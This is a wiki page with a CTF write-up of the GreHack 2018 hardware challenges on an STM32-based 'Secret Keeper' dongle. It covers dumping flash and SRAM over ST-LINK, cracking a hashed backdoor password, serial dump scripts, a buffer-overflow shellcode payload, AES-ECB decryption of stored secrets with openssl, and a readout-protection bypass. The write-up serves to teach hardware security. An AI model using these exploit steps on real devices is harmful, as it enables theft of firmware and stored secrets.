Difference between revisions of "GreHack 2018 Writeups"
(4 intermediate revisions by the same user not shown) | |||
Line 329: | Line 329: | ||
</pre> |
</pre> |
||
− | Third level is on a different hardware, a |
+ | Third level is on a different hardware, a STM32F030C8T6. |
And this time, the Flash has been protected from dumping. |
And this time, the Flash has been protected from dumping. |
||
<br>The firmware has been also bumped to a rv2.00. |
<br>The firmware has been also bumped to a rv2.00. |
||
Line 550: | Line 550: | ||
Update: Slawomir [https://twitter.com/slawekja/status/1064592447983034372 suggested] to look at https://www.aisec.fraunhofer.de/en/FirmwareProtection.html |
Update: Slawomir [https://twitter.com/slawekja/status/1064592447983034372 suggested] to look at https://www.aisec.fraunhofer.de/en/FirmwareProtection.html |
||
− | Update2: We managed to reproduce the attack :) we used a STM32NUCLEO-F072RB and remapped the GPIO (LEDs, Button, target power/swc/swd/reset) in their |
+ | Update2: We managed to reproduce the attack :) we used a STM32NUCLEO-F072RB and remapped the GPIO (LEDs, Button, target power/swc/swd/reset) in their swdFirmwareExtractor implementation. |
− | + | Phil kindly gave us a Level6 board after the CTF and we tried the attack on that board. |
|
− | |||
− | We soldered an extra PIN on nRST to be able to reset the board programmatically. |
||
<pre> |
<pre> |
||
− | $ ./client.py /dev/ttyACM0 -s $((0x7c00)) --length $((0x2a+512)) --outfile |
+ | $ ./client.py /dev/ttyACM0 -s $((0x7c00)) --length $((0x2a+512)) --outfile wallet_hw501.bin |
Start address set to 0x00007C00 |
Start address set to 0x00007C00 |
||
Readout length set to 0x0000022C |
Readout length set to 0x0000022C |
||
Line 564: | Line 562: | ||
Flash readout started! |
Flash readout started! |
||
− | 0x00000000: 47 48 53 45 43 52 45 54 |
+ | 0x00000000: 47 48 53 45 43 52 45 54 BB 6C 29 02 8D 8C 4E BA |GHSECRET.l)...N.| |
− | 0x00000010: |
+ | 0x00000010: 64 AF 88 E1 C7 31 82 83 7A D0 A0 BB A3 B1 D4 D4 |d....1..z.......| |
− | 0x00000020: |
+ | 0x00000020: 07 A7 1D E4 42 9C 35 A6 62 00 6E BF 08 25 08 6A |....B.5.b.n..%.j| |
− | 0x00000030: |
+ | 0x00000030: C8 CF 6C A2 6F 7E 4E 54 9D 25 68 71 82 57 99 2D |..l.o~NT.%hq.W.-| |
− | 0x00000040: |
+ | 0x00000040: BF 3C 2A 84 79 4B 95 46 6C F1 32 22 B0 E9 C2 F5 |.<*.yK.Fl.2"....| |
− | 0x00000050: |
+ | 0x00000050: 58 B4 33 A9 F5 00 44 E0 89 73 98 03 DD 7C 84 02 |X.3...D..s...|..| |
− | 0x00000060: |
+ | 0x00000060: A7 40 31 8D 1B 08 6A 42 3C 88 8C B7 E9 CD F2 CF |.@1...jB<.......| |
− | 0x00000070: |
+ | 0x00000070: E2 1D 2B 27 35 A0 47 B7 C9 33 F4 CE 16 D2 14 9B |..+'5.G..3......| |
− | 0x00000080: |
+ | 0x00000080: 52 B3 9A 79 3E 13 7C D7 E1 49 41 4B A9 EC 0F C0 |R..y>.|..IAK....| |
− | 0x00000090: |
+ | 0x00000090: 2C 05 F9 C4 D7 1D 38 6D 57 9B FB 16 D3 22 67 E1 |,.....8mW...."g.| |
− | 0x000000A0: |
+ | 0x000000A0: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| |
− | 0x000000B0: |
+ | 0x000000B0: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| |
− | 0x000000C0: |
+ | 0x000000C0: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| |
− | 0x000000D0: |
+ | 0x000000D0: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| |
− | 0x000000E0: |
+ | 0x000000E0: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| |
− | 0x000000F0: |
+ | 0x000000F0: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| |
− | 0x00000100: |
+ | 0x00000100: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| |
− | 0x00000110: |
+ | 0x00000110: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| |
− | 0x00000120: |
+ | 0x00000120: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| |
− | 0x00000130: |
+ | 0x00000130: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| |
− | 0x00000140: |
+ | 0x00000140: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| |
− | 0x00000150: |
+ | 0x00000150: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| |
− | 0x00000160: |
+ | 0x00000160: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| |
− | 0x00000170: |
+ | 0x00000170: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| |
− | 0x00000180: |
+ | 0x00000180: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| |
− | 0x00000190: |
+ | 0x00000190: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| |
− | 0x000001A0: |
+ | 0x000001A0: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| |
− | 0x000001B0: |
+ | 0x000001B0: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| |
− | 0x000001C0: |
+ | 0x000001C0: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| |
− | 0x000001D0: |
+ | 0x000001D0: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| |
− | 0x000001E0: |
+ | 0x000001E0: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| |
− | 0x000001F0: |
+ | 0x000001F0: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| |
− | 0x00000200: |
+ | 0x00000200: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| |
− | 0x00000210: |
+ | 0x00000210: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| |
− | 0x00000220: |
+ | 0x00000220: B6 38 D9 BC FA B3 F0 8D F5 FF 00 00 |
End of data. |
End of data. |
||
Line 610: | Line 608: | ||
</pre> |
</pre> |
||
− | The dump |
+ | The dump took 14s. A full dump of the 64kb of Flash takes 23 min. (update: a tweaked version now takes < 2 min :) ) |
<source lang=bash> |
<source lang=bash> |
||
− | KEY=$(dd if= |
+ | KEY=$(dd if=wallet_hw501.bin bs=1 skip=$((0x7c08-0x7c00)) count=32 2>/dev/null|xxd -p|tr -d "\n") |
− | dd if= |
+ | dd if=wallet_hw501.bin bs=1 skip=$((0x7c2a-0x7c00)) count=512 2>/dev/null | \ |
openssl enc -d -aes-256-ecb -nopad -K $KEY |
openssl enc -d -aes-256-ecb -nopad -K $KEY |
||
</source> |
</source> |
||
<pre> |
<pre> |
||
− | + | If you read this, you're a fuckin'damn skilled dude, your INSANE flag is GH18{InsaneLevelForGods!} |
|
− | But it's not finish, download https://grehack.fr/data/2018/LjAITFtEKVaigfDrG59dCrY6A8yPFvek5CvU2JDO.tgz and go to level 6, the "insane" ultimate one. |
||
</pre> |
</pre> |
||
− | |||
− | Remember it's level 5 flag, not level 6 ;) |
||
=Conclusions= |
=Conclusions= |
Latest revision as of 14:25, 30 November 2018
The GreHack2018 CTF was an offline CTF and one big advantage of offline CTFs is that you can have hardware-oriented challenges, in this case a series of challenges lovely crafted by Philippe Paget (@PagetPhil).
The series is made of 5 (or 6) levels representing the evolution of a realistic product: a hardware secret keeper dongle based on STM32.
The GreHack Secret Keeper
The first level provides the hardware information useful for all levels.
Products Information
How the product works: just plug the USB type A connector and connect to the virtual serial port at 9600 8N1. The fancy menus will guide you over all the available functionality.
A few words about security: At GreHack no joke with security. All the specifications are done at the end of the evening, after several beers, in the respect of the traditions. This GreHack Secret Keeper use SHA-256 hash for ALL the passwords used in the application and the entire secrets are store encrypted with AES-ECB-256. Those algorithms are the state of the art and don’t have any flaw. Until today our whole implementation is proven secure.
So, well done, you’ve choose the most secure "Secret Keeper" of the market. The GreHack team hope you’ll enjoy it and store all your valuable secrets in.
Challenges howto
1) Mandatory Instructions to follow in order to not kill the game: do not burn or lock the microcontroller!
- Never put 2 power lines on the microcontroller boards. The Type A USB port from the serial module of each Secret Keeper is enough for power. A single VCC wire per microcontroller board. Be careful not to add a VCC wire when connecting the ST-LINK if the serial USB module is connected! And, never connect an USB cable to the microcontroller module, it is useless: the port is disabled and will provide a second power supply witch will fry the microcontroller.
- NEVER write in the flash of microcontrollers with low level tools. This includes the "option bytes" or the "fuse configuration" which makes it possible to protect & lock the microcontroller and makes it impossible to dump or even to erase.
2) General instructions to solve the 6 levels:
- The 6 challenges retrace the life of a real product and all successive #fail until its final well protected ultimate version. It should be noted that 99.99% of the code is identical when a firmware is used for the next version of the module. Just minor fixes are applied to remove some flaws.
- These are hardware / reverse / exploit category challenges. No steganography or puzzle. Everything is factual, any clue in the subject is important and everything is to read in the first degree.
- It is almost impossible to solve the challenges in the disorder (only the level 2 can be skipped but would miss for understanding the following levels).
3) Pinout
- Level 1 - 2 :
- Level 3 4 5 6 :
LED: GPIO port A, GPIO PIN 15, (PA15), LED on with output at 0
4) Available extra stuff:
In order to solve the challenges there is additional stuff available on the desk, do not hesitate to use it, it’s even mandatory for the ST-LINK. Other boards, serial modules, cables etc. are available for testing.
5) USB / Serial module :
2 different modules are used in the Secret Keeper: most are PL2303 and there are some CH340. Available, 3 other modules with FTDI chip if there are problems with drivers.
- For Linux, no problem, it's integrated into the kernel since a long time.
- For Win7 and Win10 it is possible you have to download them from here:
- PL2303: http://www.prolific.com.tw/US/ShowProduct.aspx?p_id=225&pcid=41
- CH340 / CH341: http://www.wch.cn/download/CH341SER_EXE.html
- For MacOS, ask to Steve Jobs.
Datasheets
The bundle contains also the following datasheets:
First grip on GreHack Secret Keeper
The software is roughly the same across levels and the hardware of the first two levels is left unconfigured, so one can play with it, explore menus, add a password, wipe it all, etc.
$ screen /dev/ttyUSB0 9600
################################ #### GreHack Secret Keeper ##### ################################ .==. _/____\_ _.,--'" ||^ || "`z._ /_/^ ___\|| || _/o\ "`-._ _/ ]. L_| || .|| \_/_ . _`--._ /_~7 _ . " ||. || /] \ ]. (_) . "`--. |__7~.(_)_ []|+--+|/____T_____________L| |__| _^(_) /^ __\____ _ _| |__| (_){_) J ]K{__ L___ _ _] |__| . _(_) \v /__________|________ l__l_ (_). []|+-+-<\^ L . _ - ---L| \__\ __. ||^l \Y] /_] (_) . _,--' \~_] L_| || .\ .\\/~. _,--'" \_\ . __/|| |\ \`-+-<'" "`---._|J__L|X o~~|[\\ "Keep your secrets in a proven ship" \____/ \___|[// `--' `--+-' Press ENTER to start
Pressing Enter...
Secret Keeper is empty
*** Secret Keeper is empty *** -1- Set a password. -2- Generate good password. -3- Product information. Choice:
-1- Set a password.
Choice: 1 Enter a password: **** Repeat password: **** Password set, rebooting
=> see "Secret Keeper locked"
-2- Generate good password.
Choice: 2 Helper function to generate a good password. Please enter 8 random chars max: aaaaaaaa Generated password: 8Acx511SNdf1 Press ENTER to continue
-3- Product information.
Choice: 3 ....................................... ..............OOOOo.................... ............oOOOOOOo................... ............oOOOOOOO................... ............oOOOOOOOOOOOO.............. ..........OOOOOOOOOOOOOOOOOOO.......... ........OOOOOOOOOOOOOOOOOOOOOOO........ .......OOOOOOOOOOOOOOOOOOOOOOOOOo...... .....OOOOOOOOOOOOOOOOOOOOOOOOOOOOO..... ....OOOOOOOOOOOOOOOOOoOoOo..ooOoOOO.... ...oOOOOOOOOOO.oOOOOOOOOOOOOOOOOOOOo... ...OOOOOO.oOOOOOOOOOOOOOOOOOOOOOOOOOO.. ..OOO.oOOOOOOOOOOOOo..oO......Oo..OOO.. ..OOOOOOOOOOO.OOOOOOOOO........OOOOOO.. .OOOOOOO.......OOOOOOO..........OOOOOO. .oOOo.OO.......OOOOOOO..........OOOOOO. ...OOOOO........OOOOOO..........OOOOOO. ..OOOOOO.......oOOOOOO..........OOOOOo. ..oOOOOOo......OOOOOOOO........oOOOOO.. ...OOOOOOO....OOOOOOOOOO......OOOOOOO.. ....OOOOOOOOOOOOOOOOOOOOOO..OOOOOOOO... ....OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.... .....OOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.... ....OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO... ....OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO... ....OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.... .....OOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.... ......OOOOOOOo.OOOOOOOOOO..OOOOOOO..... ........OOOo....OOOOOOOO............... .................oOOOO................. ....................................... ******************************************************************************* **************************** GreHack Secret Keeper **************************** ******************************************************************************* ------------------------------------------------------------------------------- General Information ------------------------------------------------------------------------------- Type.................: Utility Platform.............: STM32 ------------------------------------------------------------------------------- Release Notes ------------------------------------------------------------------------------- Version 1.00 Press ENTER to continue
Secret Keeper locked
*** Secret Keeper locked *** -1- Enter the password. -2- Lost password, wipe all. -3- Generate good password. -4- Product information. Choice:
-1- Enter the password.
Choice: 1 Enter the password:
=> See "Secret Keeper unlocked"
-2- Lost password, wipe all.
Choice: 2 _ ___ ____ __ | | / (_)___ ___ / __ \__ __/ /_ | | /| / / / __ \/ _ \/ / / / / / / __/ | |/ |/ / / /_/ / __/ /_/ / /_/ / /_ |__/|__/_/ .___/\___/\____/\__,_/\__/ Everything /_/ Done In 10 seconds the device will reboot 10 9 8 7 6 5 4 3 2 1 0 Reboot
Note that there is a bug in the code: it starts wiping immediately then counts down, so for the higher levels it's very important to not touch the option at all :D It happened to us once and Phil had to reflash it.
-3- Generate good password.
as before
-4- Product information.
as before
Secret Keeper unlocked
*** Secret Keeper unlocked *** -1- Change password. -2- Retrieve secret information. -3- Set secret information. -4- Product information. Choice:
-1- Change password.
didn't test
-2- Retrieve secret information.
(tested after setting secret with option 3)
Choice: 2 The secret store in your device is : titi Press ENTER to continue
-3- Set secret information.
Choice: 3 Enter your secret here. Up to 512 bytes can be stored. titi Your secret was stored successfully
-4- Product information.
as before
Secret Keeper level 1 (50 points)
"An Insomni'Hack 2018 tribute": Was a 400 points at Insomni'hack and is only a 50 points at GreHack ... with the good tools ( Hello Baldanos :) ) Read the full package to understand how all the challenges works and ask to staff if any doubt. Your first task is to dump the firmware and find the flag. --> Use "Secret Keeper 1 / 2 (revision 1.00)"
The STM32F103C8T6 is an ARM Cortex-M3 MCU with 64 Kbytes Flash, 72 MHz CPU, motor control, USB and CAN.
We used the provided ST-LINK/V2 with
- STM32 ST-LINK Utility for Windows
- texane/stlink for Linux
Note that there is also pystlink, but we didn't use it.
From the datasheet: "In other words, the Flash memory contents can be accessed starting from address 0x0000 0000 or 0x800 0000."
Dumping its flash is as easy as connecting the ST-LINK to the Secret Keeper v1 (Vcc/SWDIO/SWCLK/GND) while not connecting its USB/UART (or leave it connected by USB but then don't connect ST-LINK Vcc):
| ST-Linkv2 | Target | |---------------------------| |T_JTCK/T_SWCLK | SWCLK | |T_JTMS/T_SWDIO | SWDIO | |3.3V | MCU_VDD | |GND | GND | |5V | NC | |SWIM | NC | |SWIM_RST | NC | |T_JRST | NC | |T_JTDO | NC | |T_JTDI | NC |
st-flash --reset read dump_v1.bin 0x8000000 0x10000
Followed by a thorough analysis of the firmware...
strings dump_v1.bin |grep GH18 GH18{ST-LINKorBOOTLOADERdumpALL}
Secret Keeper level 2 (100 points)
Now you have the firmware, great. But something other is still valuable. You need to find it and dump it too. --> Use "Secret Keeper 1 / 2 (revision 1.00)"
What else to dump? The SRAM!
The STM32F103C8T6 has 20kb of SRAM
From the datasheet: "The SRAM start address is 0x2000 0000."
st-flash --reset read dump_v1_sram.bin 0x20000000 0x2000 strings dump_v1_sram.bin |grep GH18 GH18{DumpRAMMatterForExploiting}
Secret Keeper level 3 (200 points)
Dump the revision 2.00 of the firmware. --> Use "Secret Keeper 3 / 4 (revision 2.00)"
Third level is on a different hardware, a STM32F030C8T6.
And this time, the Flash has been protected from dumping.
The firmware has been also bumped to a rv2.00.
Apparently Level 1 could have been also solved by entering into the bootloader mode and this is now fixed in this rv2.00.
Strings of firmware rv1.00 reveals that there is a backdoor menu:
$ strings dump_v1.bin |grep -B13 -A2 Dump ________ ___ ___ __ / _____/______ ____ / | \_____ ____ | | __ / \ __\_ __ \_/ __ \/ ~ \__ \ _/ ___\| |/ / \ \_\ \ | \/\ ___/\ Y // __ \\ \___| < \______ /__| \___ >\___|_ /(____ /\___ >__|_ \ \/ \/ \/ \/ \/ \/ __________ __ .___ \______ \_____ ____ | | __ __| _/____ ___________ | | _/\__ \ _/ ___\| |/ // __ |/ _ \ / _ \_ __ \ | | \ / __ \\ \___| </ /_/ ( <_> | <_> ) | \/ |______ /(____ /\___ >__|_ \____ |\____/ \____/|__| \/ \/ \/ \/ \/ You entered in management mode, read carefully instructions. -1- Dump flash. -2- Write flash. Choice:
We need to reverse engineer a few functions of the firmware to finally understand that to access this hidden menu, you need to type "6" in the main menu, followed by a password.
The password is hashed (SHA256) and compared to 9EE6C0FACBE8D06E39DA87FF43BF3A4CE510AFF2015518E84194FCDF6BAE17CF.
Online hash crackers such as https://crackstation.net/ reveal that the password is "rootbeer".
When asking for a dump of the flash, we receive it all in binary over the UART. Therefore, to acquire it cleanly, we need to write a little Python script. (we tried first the minicom logging facility but it ate all the null bytes :/).
Disclaimer: the script is an ugly ctf-like script with all hard-coded reads after a few trials & errors.
#!/usr/bin/env python3
import time
import serial
f=open('dump_v2.bin', 'wb')
ser = serial.Serial('/dev/ttyUSB0', 9600) # open serial port
ser.reset_input_buffer()
print("press reset")
for i in range(25):
line = ser.readline()
print("%04i"% i, line)
#print(ser.in_waiting, ser.out_waiting)
print(ser.read(20))
ser.write(b'\r')
for i in range(8):
line = ser.readline()
print("%04i"% i, line)
print(ser.read(8))
#print(ser.in_waiting, ser.out_waiting)
ser.write(b'6')
print(ser.read(1))
time.sleep(1)
#print(ser.in_waiting, ser.out_waiting)
ser.write(b'rootbeer')
for i in range(18):
line = ser.readline()
print("%04i"% i, line)
print(ser.read(8))
ser.write(b'1')
print(ser.read(1))
while True:
time.sleep(1)
if ser.in_waiting > 0:
d=ser.read(ser.in_waiting)
print(len(d))
f.write(d)
else:
break
f.close()
ser.close()
$ strings dump_v2.bin|grep GH18 GH18{ST-LINKorBOOTLOADERdumpALL} https://www.youtube.com/watch?v=WPzMxiGd0io This code is a flag holder, impossible to reach. BTW, your flag for level 3 is GH18{TheresAlwAYSAbackDOOR...}.
Secret Keeper level 4 (300 points)
Read the secret stored in the Secret Keeper. --> Use "Secret Keeper 3 / 4 (revision 2.00)"
The hardware of levels 3 & 4 is already configured with an unknown user password and contains some encrypted secrets.
We start reversing the newly acquired flash dump of the rv2.00 and discover that the user data are committed to Flash at 0x8007C00, starting with the magic string "GHSECRET".
In the user data, we find the hash of the user password: "60B8A36B2AFF793226C071AC5C3CB96A8D4E009EF547648EFBD795138F878D36" but this time it doesn't seem that easy to crack. Reversing the firmware shows that the secret data are AES-256-ECB encrypted with... the hash used as a key :)
Apparently there was a way to exploit the "Generate good password" functionality (buffer overflow on the provided "random bytes") allowing to execute directly the "Retrieve secret information" function but we decrypted the blob by ourselves.
KEY=$(dd if=dump_v2.bin bs=1 skip=$((0x7c08)) count=32 2>/dev/null|xxd -p|tr -d "\n")
dd if=dump_v2.bin bs=1 skip=$((0x7c2a)) count=512 2>/dev/null | \
openssl enc -d -aes-256-ecb -nopad -K $KEY
not so secure ... But give a try to the next one, you'll se we've patch EVERY rotten code. Your flag: GH18{...AndAshittyCodeDesign}
Secret Keeper level 5 (500 points)
Extract the firmware & read the secret. --> Use "Secret Keeper 5 (revision 3.00)"
As for the two previous challenges, the STM32 has been flashed with the Readout Protection activated (RDP level 1), we can not just use the st-link to dump the flash memory, but the SRAM can still be dumped.
This time the previous firmware has been patched, and the backdoor is not available anymore, so we looked for another entry point.
Using the UART over USB interface, we found that a long password (>70 chars) makes the software crash, so there was probably a possible buffer overflow, the crash being due to the return address of the input function overwritten with the password.
So we decided to try injecting a shellcode into the password, in order to copy the firmware in SRAM and then dump the SRAM with the st-link. It would also have been possible to dump the firmware through the UART with the shellcode, but we didn't try this approach.
Here is the code of the shellcode dumping the user data to the SRAM:
int main(void) {
unsigned char * src;
unsigned char * dest;
int address = 0x20000000;
int len = 0x1d00;
src = (unsigned char*)0x7c00;
dest = (unsigned char*)address;
while(len--) {
*dest++ = *src++;
}
while(1);
}
It can be compiled with the following commands:
arm-none-eabi-gcc -mthumb -Os -o shell0.elf -c shell0.c
arm-none-eabi-objcopy -S -O binary shell0.elf shell0.bin
One of the difficulties was to find the address of the return pointer on the stack, as well as a constant address to inject this shellcode in SRAM.
We just tried several times to enter a password and dump the SRAM, and we found systematically our password at address 0x20001E6D, which is therefore the address where our shellcode will land. This explains why we copy only 0x1d00 bytes in our shellcode, to not overwrite the shellcode being executed.
As we didn't know precisely the address of the return pointer to be overwritten, we padded our shellcode with a bunch of zeroes and several occurrences of the address of the shellcode.
After several tries we ran out of time but we continued on the train back to Paris: it appeared that we forgot to put the 0x0d ("\r") at the end of our payload, which was necessary to validate the entered password and return to the caller, thus triggering our shellcode :)
Here is a python script to dump the flash around the "GHSECRET" area.
#!/usr/bin/env python3
import serial
ser = serial.Serial('/dev/ttyUSB0', 9600)
ser.reset_input_buffer()
print("press reset")
for i in range(25):
line = ser.readline()
print("%04i"% i, line)
print(ser.read(20))
ser.write(b'\r')
for i in range(8):
line = ser.readline()
print("%04i"% i, line)
print(ser.read(8))
ser.write(b'1')
for i in range(1):
line = ser.readline()
print("%04i"% i, line)
print(ser.read(20))
# shellcode: copy 0x1d00 bytes from 0x7c00 to 0x20000000
shell=bytes.fromhex("f8239922db01120204495918934200d1fee7187801330870f6e7c0460084ff1f")
shell+=b"A"*(64-len(shell))
# we observed pwd is present in SRAM at 0x20001e6d
shell+=bytes.fromhex("6d1e0020")
shell+=b'\r'
ser.write(shell)
Then we dumped the SRAM
$ st-flash --reset read dumpsram.bin 0x20000000 0x2000
and decrypted the user data, as done in Level 4:
KEY=$(dd if=dumpsram.bin bs=1 skip=$((0x7c08-0x7c00)) count=32 2>/dev/null|xxd -p|tr -d "\n")
dd if=dumpsram.bin bs=1 skip=$((0x7c2a-0x7c00)) count=512 2>/dev/null | \
openssl enc -d -aes-256-ecb -nopad -K $KEY
Ok, you find and exploit the last buffer overflow, nice job. Here is your flag GH18{ThatsHowYouRulezThemAll}. But it's not finish, download https://grehack.fr/data/2018/LjAITFt"�(�hreg{5O.�6A8yPFvek5CvU2JDO.tgz and go to level 6, the "insane" ultimate one.
We got the flag :)
But the URL got corrupted. There was apparently a write in begin of SRAM that corrupted at least one byte in one of the AES-256-ECB blocks.
A quick workaround is to choose a different source address so another ECB block will get corrupted. The full URL is:
https://grehack.fr/data/2018/LjAITFtEKVaigfDrG59dCrY6A8yPFvek5CvU2JDO.tgz
And you'll find all the sources of all the challenges, including the next level!
If one wants to dump the whole firmware, this operation should be repeated with different shellcodes with different source addresses and be careful of the SRAM corruptions.
Secret Keeper level 6 (501 points)
Extract the firmware & read the secret from the Secret Keeper from the software bug-free version. AKA the INSANE level. --> Use the special "Secret Keeper" (revision 4.00), ask to the staff for it.
We didn't reach this level but from the previous challenge, we got all the source code and this rv4.00 seems indeed bug-free. Not sure there is a way besides things like fault injections...
Update: Slawomir suggested to look at https://www.aisec.fraunhofer.de/en/FirmwareProtection.html
Update2: We managed to reproduce the attack :) we used a STM32NUCLEO-F072RB and remapped the GPIO (LEDs, Button, target power/swc/swd/reset) in their swdFirmwareExtractor implementation.
Phil kindly gave us a Level6 board after the CTF and we tried the attack on that board.
$ ./client.py /dev/ttyACM0 -s $((0x7c00)) --length $((0x2a+512)) --outfile wallet_hw501.bin Start address set to 0x00007C00 Readout length set to 0x0000022C Hex output mode selected Little Endian mode enabled Flash readout started! 0x00000000: 47 48 53 45 43 52 45 54 BB 6C 29 02 8D 8C 4E BA |GHSECRET.l)...N.| 0x00000010: 64 AF 88 E1 C7 31 82 83 7A D0 A0 BB A3 B1 D4 D4 |d....1..z.......| 0x00000020: 07 A7 1D E4 42 9C 35 A6 62 00 6E BF 08 25 08 6A |....B.5.b.n..%.j| 0x00000030: C8 CF 6C A2 6F 7E 4E 54 9D 25 68 71 82 57 99 2D |..l.o~NT.%hq.W.-| 0x00000040: BF 3C 2A 84 79 4B 95 46 6C F1 32 22 B0 E9 C2 F5 |.<*.yK.Fl.2"....| 0x00000050: 58 B4 33 A9 F5 00 44 E0 89 73 98 03 DD 7C 84 02 |X.3...D..s...|..| 0x00000060: A7 40 31 8D 1B 08 6A 42 3C 88 8C B7 E9 CD F2 CF |.@1...jB<.......| 0x00000070: E2 1D 2B 27 35 A0 47 B7 C9 33 F4 CE 16 D2 14 9B |..+'5.G..3......| 0x00000080: 52 B3 9A 79 3E 13 7C D7 E1 49 41 4B A9 EC 0F C0 |R..y>.|..IAK....| 0x00000090: 2C 05 F9 C4 D7 1D 38 6D 57 9B FB 16 D3 22 67 E1 |,.....8mW...."g.| 0x000000A0: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| 0x000000B0: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| 0x000000C0: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| 0x000000D0: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| 0x000000E0: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| 0x000000F0: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| 0x00000100: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| 0x00000110: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| 0x00000120: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| 0x00000130: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| 0x00000140: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| 0x00000150: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| 0x00000160: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| 0x00000170: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| 0x00000180: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| 0x00000190: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| 0x000001A0: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| 0x000001B0: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| 0x000001C0: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| 0x000001D0: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| 0x000001E0: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| 0x000001F0: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| 0x00000200: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| 0x00000210: B6 38 D9 BC FA B3 F0 8D F5 FF FB 16 D3 22 67 E1 |.8..........."g.| 0x00000220: B6 38 D9 BC FA B3 F0 8D F5 FF 00 00 End of data. Statistics: Attempts: 0x000000C8 Success: 0x0000008B Failure: 0x0000003D Programm finished.
The dump took 14s. A full dump of the 64kb of Flash takes 23 min. (update: a tweaked version now takes < 2 min :) )
KEY=$(dd if=wallet_hw501.bin bs=1 skip=$((0x7c08-0x7c00)) count=32 2>/dev/null|xxd -p|tr -d "\n")
dd if=wallet_hw501.bin bs=1 skip=$((0x7c2a-0x7c00)) count=512 2>/dev/null | \
openssl enc -d -aes-256-ecb -nopad -K $KEY
If you read this, you're a fuckin'damn skilled dude, your INSANE flag is GH18{InsaneLevelForGods!}
Conclusions
Thanks a lot to @PagetPhil for these nice hardware-origented challenges!
We had a lot of fun trying to solve them :)